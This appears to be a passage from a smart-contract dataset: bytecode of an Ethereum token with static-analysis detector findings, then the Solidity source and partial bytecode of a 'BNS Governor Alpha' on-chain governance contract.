0x6060604052600436106101035763ffffffff60e060020a60003504166305d2035b811461010857806306fdde031461012f578063095ea7b3146101b957806318160ddd146101db57806323b872dd14610200578063313ce5671461022857806340c10f191461025157806364ddc6051461027357806370a08231146103045780637ba1e407146103235780637d64bcb4146103b25780638da5cb5b146103c557806395d89b41146103f45780639dc29fac14610407578063a9059cbb14610429578063b414d4b61461044b578063be45fd621461046a578063cbbe974b146104cf578063dd62ed3e146104ee578063f2fde38b14610513578063f6368f8a14610532575b600080fd5b341561011357600080fd5b61011b6105d9565b604051901515815260200160405180910390f35b341561013a57600080fd5b6101426105e2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017e578082015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c457600080fd5b61011b600160a060020a036004351660243561068a565b34156101e657600080fd5b6101ee6106f6565b60405190815260200160405180910390f35b341561020b57600080fd5b61011b600160a060020a03600435811690602435166044356106fc565b341561023357600080fd5b61023b61090b565b60405160ff909116815260200160405180910390f35b341561025c57600080fd5b61011b600160a060020a0360043516602435610914565b341561027e57600080fd5b610302600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610a1695505050505050565b005b341561030f57600080fd5b6101ee600160a060020a0360043516610b70565b341561032e57600080fd5b61011b600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610b8b95505050505050565b34156103bd57600080fd5b61011b610eae565b34156103d057600080fd5b6103d8610f1b565b604051600160a060020a03909116815260200160405180910390f35b34156103ff57600080fd5b610142610f2a565b341561041257600080fd5b610302600160a060020a0360043516602435610f9d565b341561043457600080fd5b61011b600160a060020a0360043516602435611085565b341561045657600080fd5b61011b600160a060020a0360043516611160565b341561047557600080fd5b61011b60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061117595505050505050565b34156104da57600080fd5b6101ee600160a060020a0360043516611240565b34156104f957600080fd5b6101ee600160a060020a0360043581169060243516611252565b341561051e57600080fd5b610302600160a060020a036004351661127d565b341561053d57600080fd5b61011b60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061131895505050505050565b60065460ff1681565b6105ea611aaa565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106805780601f1061065557610100808354040283529160200191610680565b820191906000526020600020905b81548152906001019060200180831161066357829003601f168201915b5050505050905090565b600160a060020a03338116600081815260086020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a038316158015906107165750600082115b801561073b5750600160a060020a038416600090815260076020526040902054829010155b801561076e5750600160a060020a0380851660009081526008602090815260408083203390941683529290522054829010155b80156107935750600160a060020a03841660009081526009602052604090205460ff16155b80156107b85750600160a060020a03831660009081526009602052604090205460ff16155b80156107db5750600160a060020a0384166000908152600a602052604090205442115b80156107fe5750600160a060020a0383166000908152600a602052604090205442115b151561080957600080fd5b600160a060020a038416600090815260076020526040902054610832908363ffffffff61167016565b600160a060020a038086166000908152600760205260408082209390935590851681522054610867908363ffffffff61168216565b600160a060020a038085166000908152600760209081526040808320949094558783168252600881528382203390931682529190915220546108af908363ffffffff61167016565b600160a060020a0380861660008181526008602090815260408083203386168452909152908190209390935590851691600080516020611abd8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60015460009033600160a060020a0390811691161461093257600080fd5b60065460ff161561094257600080fd5b6000821161094f57600080fd5b600554610962908363ffffffff61168216565b600555600160a060020a03831660009081526007602052604090205461098e908363ffffffff61168216565b600160a060020a0384166000818152600760205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020611abd8339815191528460405190815260200160405180910390a350600192915050565b60015460009033600160a060020a03908116911614610a3457600080fd5b60008351118015610a46575081518351145b1515610a5157600080fd5b5060005b8251811015610b6b57818181518110610a6a57fe5b90602001906020020151600a6000858481518110610a8457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610ab257600080fd5b818181518110610abe57fe5b90602001906020020151600a6000858481518110610ad857fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610b0857fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610b4857fe5b9060200190602002015160405190815260200160405180910390a2600101610a55565b505050565b600160a060020a031660009081526007602052604090205490565b6001546000908190819033600160a060020a03908116911614610bad57600080fd5b60008551118015610bbf575083518551145b1515610bca57600080fd5b5060009050805b8451811015610e61576000848281518110610be857fe5b90602001906020020151118015610c1c5750848181518110610c0657fe5b90602001906020020151600160a060020a031615155b8015610c5c575060096000868381518110610c3357fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610ca15750600a6000868381518110610c7357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610cac57600080fd5b610cda670de0b6b3a7640000858381518110610cc457fe5b906020019060200201519063ffffffff61169116565b848281518110610ce657fe5b60209081029091010152838181518110610cfc57fe5b9060200190602002015160076000878481518110610d1657fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015610d4557600080fd5b610d9e848281518110610d5457fe5b9060200190602002015160076000888581518110610d6e57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff61167016565b60076000878481518110610dae57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055610df8848281518110610de157fe5b90602001906020020151839063ffffffff61168216565b915033600160a060020a0316858281518110610e1057fe5b90602001906020020151600160a060020a0316600080516020611abd833981519152868481518110610e3e57fe5b9060200190602002015160405190815260200160405180910390a3600101610bd1565b600160a060020a033316600090815260076020526040902054610e8a908363ffffffff61168216565b33600160a060020a0316600090815260076020526040902055506001949350505050565b60015460009033600160a060020a03908116911614610ecc57600080fd5b60065460ff1615610edc57600080fd5b6006805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b610f32611aaa565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106805780601f1061065557610100808354040283529160200191610680565b60015433600160a060020a03908116911614610fb857600080fd5b600081118015610fe15750600160a060020a038216600090815260076020526040902054819010155b1515610fec57600080fd5b600160a060020a038216600090815260076020526040902054611015908263ffffffff61167016565b600160a060020a038316600090815260076020526040902055600554611041908263ffffffff61167016565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b600061108f611aaa565b6000831180156110b85750600160a060020a03331660009081526009602052604090205460ff16155b80156110dd5750600160a060020a03841660009081526009602052604090205460ff16155b80156111005750600160a060020a0333166000908152600a602052604090205442115b80156111235750600160a060020a0384166000908152600a602052604090205442115b151561112e57600080fd5b611137846116bc565b1561114e576111478484836116c4565b9150611159565b611147848483611927565b5092915050565b60096020526000908152604090205460ff1681565b6000808311801561119f5750600160a060020a03331660009081526009602052604090205460ff16155b80156111c45750600160a060020a03841660009081526009602052604090205460ff16155b80156111e75750600160a060020a0333166000908152600a602052604090205442115b801561120a5750600160a060020a0384166000908152600a602052604090205442115b151561121557600080fd5b61121e846116bc565b156112355761122e8484846116c4565b9050610904565b61122e848484611927565b600a6020526000908152604090205481565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b60015433600160a060020a0390811691161461129857600080fd5b600160a060020a03811615156112ad57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080841180156113425750600160a060020a03331660009081526009602052604090205460ff16155b80156113675750600160a060020a03851660009081526009602052604090205460ff16155b801561138a5750600160a060020a0333166000908152600a602052604090205442115b80156113ad5750600160a060020a0385166000908152600a602052604090205442115b15156113b857600080fd5b6113c1856116bc565b1561165a57600160a060020a033316600090815260076020526040902054849010156113ec57600080fd5b600160a060020a033316600090815260076020526040902054611415908563ffffffff61167016565b600160a060020a03338116600090815260076020526040808220939093559087168152205461144a908563ffffffff61168216565b600160a060020a0386166000818152600760205260408082209390935590918490518082805190602001908083835b602083106114985780518252601f199092019160209182019101611479565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611529578082015183820152602001611511565b50505050905090810190601f1680156115565780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f19350505050151561157a57fe5b826040518082805190602001908083835b602083106115aa5780518252601f19909201916020918201910161158b565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611abd8339815191528660405190815260200160405180910390a3506001611668565b611665858585611927565b90505b949350505050565b60008282111561167c57fe5b50900390565b60008282018381101561090457fe5b6000808315156116a45760009150611159565b508282028284828115156116b457fe5b041461090457fe5b6000903b1190565b600160a060020a0333166000908152600760205260408120548190849010156116ec57600080fd5b600160a060020a033316600090815260076020526040902054611715908563ffffffff61167016565b600160a060020a03338116600090815260076020526040808220939093559087168152205461174a908563ffffffff61168216565b600160a060020a03861660008181526007602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156117e35780820151838201526020016117cb565b50505050905090810190601f1680156118105780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561183057600080fd5b6102c65a03f1151561184157600080fd5b505050826040518082805190602001908083835b602083106118745780518252601f199092019160209182019101611855565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611abd8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600760205260408120548390101561194d57600080fd5b600160a060020a033316600090815260076020526040902054611976908463ffffffff61167016565b600160a060020a0333811660009081526007602052604080822093909355908616815220546119ab908463ffffffff61168216565b600160a060020a03851660009081526007602052604090819020919091558290518082805190602001908083835b602083106119f85780518252601f1990920191602091820191016119d9565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a0316600080516020611abd8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820fd032bd09108e1018575d750dd64e0ee5318f926c1042839682738408e0ec9cc0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 6,308 |
0xc2ed15668692942bfd8d6552fc08923c667564e7
|
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "BNS Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 400000e18; } // 400,000 = 4% of BNSG
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 100000e18; } // 100,000 = 1% of BNSG
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // 17280 ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the BNSG Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the BNS governance token
BNSGInterface public bnsg;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice Whether timelock is alerady set
bool public timeLockSet;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address bnsg_, address guardian_) public {
bnsg = BNSGInterface(bnsg_);
guardian = guardian_;
}
function setTimeLock(address timelock_) public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
require(timeLockSet == false, "timelock already set");
timeLockSet = true;
timelock = TimelockInterface(timelock_);
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(bnsg.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || bnsg.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = bnsg.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface BNSGInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
|
0x6080604052600436106101c25760003560e01c80635925b522116100f7578063cc0252f711610095578063ddf0b00911610064578063ddf0b009146104be578063deaaa7cc146104de578063e23a9a52146104f3578063fe0d94c114610520576101c2565b8063cc0252f714610452578063d33219b414610474578063da35c66414610489578063da95691a1461049e576101c2565b8063891682d2116100d1578063891682d2146103e85780639150067114610408578063b58131b014610428578063b9a619611461043d576101c2565b80635925b522146103a9578063760fbc13146103be5780637bdbe4d0146103d3576101c2565b806324bc1a64116101645780633e4f49e61161013e5780633e4f49e61461031a57806340e58ee514610347578063452a9320146103675780634634c61f14610389576101c2565b806324bc1a64146102c0578063328dd982146102d55780633932abb114610305576101c2565b806315373e3d116101a057806315373e3d1461024957806317977c611461026b57806320606b701461028b57806321f43e42146102a0576101c2565b8063013cf08b146101c757806302a251a31461020557806306fdde0314610227575b600080fd5b3480156101d357600080fd5b506101e76101e23660046124bd565b610533565b6040516101fc999897969594939291906131cf565b60405180910390f35b34801561021157600080fd5b5061021a61058c565b6040516101fc91906128ee565b34801561023357600080fd5b5061023c610592565b6040516101fc9190612965565b34801561025557600080fd5b50610269610264366004612501565b6105c0565b005b34801561027757600080fd5b5061021a610286366004612305565b6105cf565b34801561029757600080fd5b5061021a6105e1565b3480156102ac57600080fd5b506102696102bb366004612320565b610605565b3480156102cc57600080fd5b5061021a6106ec565b3480156102e157600080fd5b506102f56102f03660046124bd565b6106fa565b6040516101fc949392919061288b565b34801561031157600080fd5b5061021a610989565b34801561032657600080fd5b5061033a6103353660046124bd565b61098e565b6040516101fc9190612951565b34801561035357600080fd5b506102696103623660046124bd565b610b18565b34801561037357600080fd5b5061037c610d81565b6040516101fc919061273c565b34801561039557600080fd5b506102696103a4366004612530565b610d90565b3480156103b557600080fd5b5061037c610f3e565b3480156103ca57600080fd5b50610269610f4d565b3480156103df57600080fd5b5061021a610f89565b3480156103f457600080fd5b50610269610403366004612305565b610f8e565b34801561041457600080fd5b50610269610423366004612320565b611018565b34801561043457600080fd5b5061021a6110ed565b34801561044957600080fd5b506102696110fb565b34801561045e57600080fd5b50610467611180565b6040516101fc91906128e3565b34801561048057600080fd5b5061037c611190565b34801561049557600080fd5b5061021a61119f565b3480156104aa57600080fd5b5061021a6104b936600461234a565b6111a5565b3480156104ca57600080fd5b506102696104d93660046124bd565b6115c5565b3480156104ea57600080fd5b5061021a61182f565b3480156104ff57600080fd5b5061051361050e3660046124d5565b611853565b6040516101fc9190613109565b61026961052e3660046124bd565b6118c2565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b61438090565b60405180604001604052806012815260200171424e5320476f7665726e6f7220416c70686160701b81525081565b6105cb338383611a87565b5050565b60056020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6002546001600160a01b031633146106385760405162461bcd60e51b815260040161062f90612aaa565b60405180910390fd5b600080546040516001600160a01b0390911691630825f38f9183919061066290879060200161273c565b604051602081830303815290604052856040518563ffffffff1660e01b81526004016106919493929190612769565b600060405180830381600087803b1580156106ab57600080fd5b505af11580156106bf573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106e7919081019061244a565b505050565b6954b40b1f852bda00000090565b6060806060806000600460008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561077c57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161075e575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156107ce57602002820191906000526020600020905b8154815260200190600101908083116107ba575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108a15760008481526020908190208301805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561088d5780601f106108625761010080835404028352916020019161088d565b820191906000526020600020905b81548152906001019060200180831161087057829003601f168201915b5050505050815260200190600101906107f6565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156109735760008481526020908190208301805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561095f5780601f106109345761010080835404028352916020019161095f565b820191906000526020600020905b81548152906001019060200180831161094257829003601f168201915b5050505050815260200190600101906108c8565b5050505090509450945094509450509193509193565b600190565b600081600354101580156109a25750600082115b6109be5760405162461bcd60e51b815260040161062f90612b1c565b6000828152600460205260409020600b81015460ff16156109e3576002915050610b13565b806007015443116109f8576000915050610b13565b80600801544311610a0d576001915050610b13565b80600a01548160090154111580610a2e5750610a276106ec565b8160090154105b15610a3d576003915050610b13565b6002810154610a50576004915050610b13565b600b810154610100900460ff1615610a6c576007915050610b13565b610afd816002015460008054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610ac057600080fd5b505afa158015610ad4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af89190612432565b611c50565b4210610b0d576006915050610b13565b60059150505b919050565b6000610b238261098e565b90506007816007811115610b3357fe5b1415610b515760405162461bcd60e51b815260040161062f90612fe4565b60008281526004602052604090206002546001600160a01b0316331480610c1c5750610b7b6110ed565b60018054838201546001600160a01b039182169263782d6fe19290911690610ba4904390611c7c565b6040518363ffffffff1660e01b8152600401610bc1929190612750565b60206040518083038186803b158015610bd957600080fd5b505afa158015610bed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c119190612586565b6001600160601b0316105b610c385760405162461bcd60e51b815260040161062f90612db0565b600b8101805460ff1916600117905560005b6003820154811015610d44576000546003830180546001600160a01b039092169163591fcdfe919084908110610c7c57fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610ca457fe5b9060005260206000200154856005018581548110610cbe57fe5b90600052602060002001866006018681548110610cd757fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610d06959493929190612852565b600060405180830381600087803b158015610d2057600080fd5b505af1158015610d34573d6000803e3d6000fd5b505060019092019150610c4a9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d7491906128ee565b60405180910390a1505050565b6002546001600160a01b031681565b604080518082019091526012815271424e5320476f7665726e6f7220416c70686160701b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fe3695039efabd1bbe171da17936b6c0686dc159b76be0194aacb78443cfd0362610e06611ca4565b30604051602001610e1a94939291906128f7565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610e699392919061291b565b60405160208183030381529060405280519060200120905060008282604051602001610e96929190612721565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610ed39493929190612933565b6020604051602081039080840390855afa158015610ef5573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610f285760405162461bcd60e51b815260040161062f90612f12565b610f33818a8a611a87565b505050505050505050565b6001546001600160a01b031681565b6002546001600160a01b03163314610f775760405162461bcd60e51b815260040161062f906130b3565b600280546001600160a01b0319169055565b600a90565b6002546001600160a01b03163314610fb85760405162461bcd60e51b815260040161062f90612978565b600254600160a01b900460ff1615610fe25760405162461bcd60e51b815260040161062f90612bb2565b6002805460ff60a01b1916600160a01b179055600080546001600160a01b039092166001600160a01b0319909216919091179055565b6002546001600160a01b031633146110425760405162461bcd60e51b815260040161062f90612c63565b600080546040516001600160a01b0390911691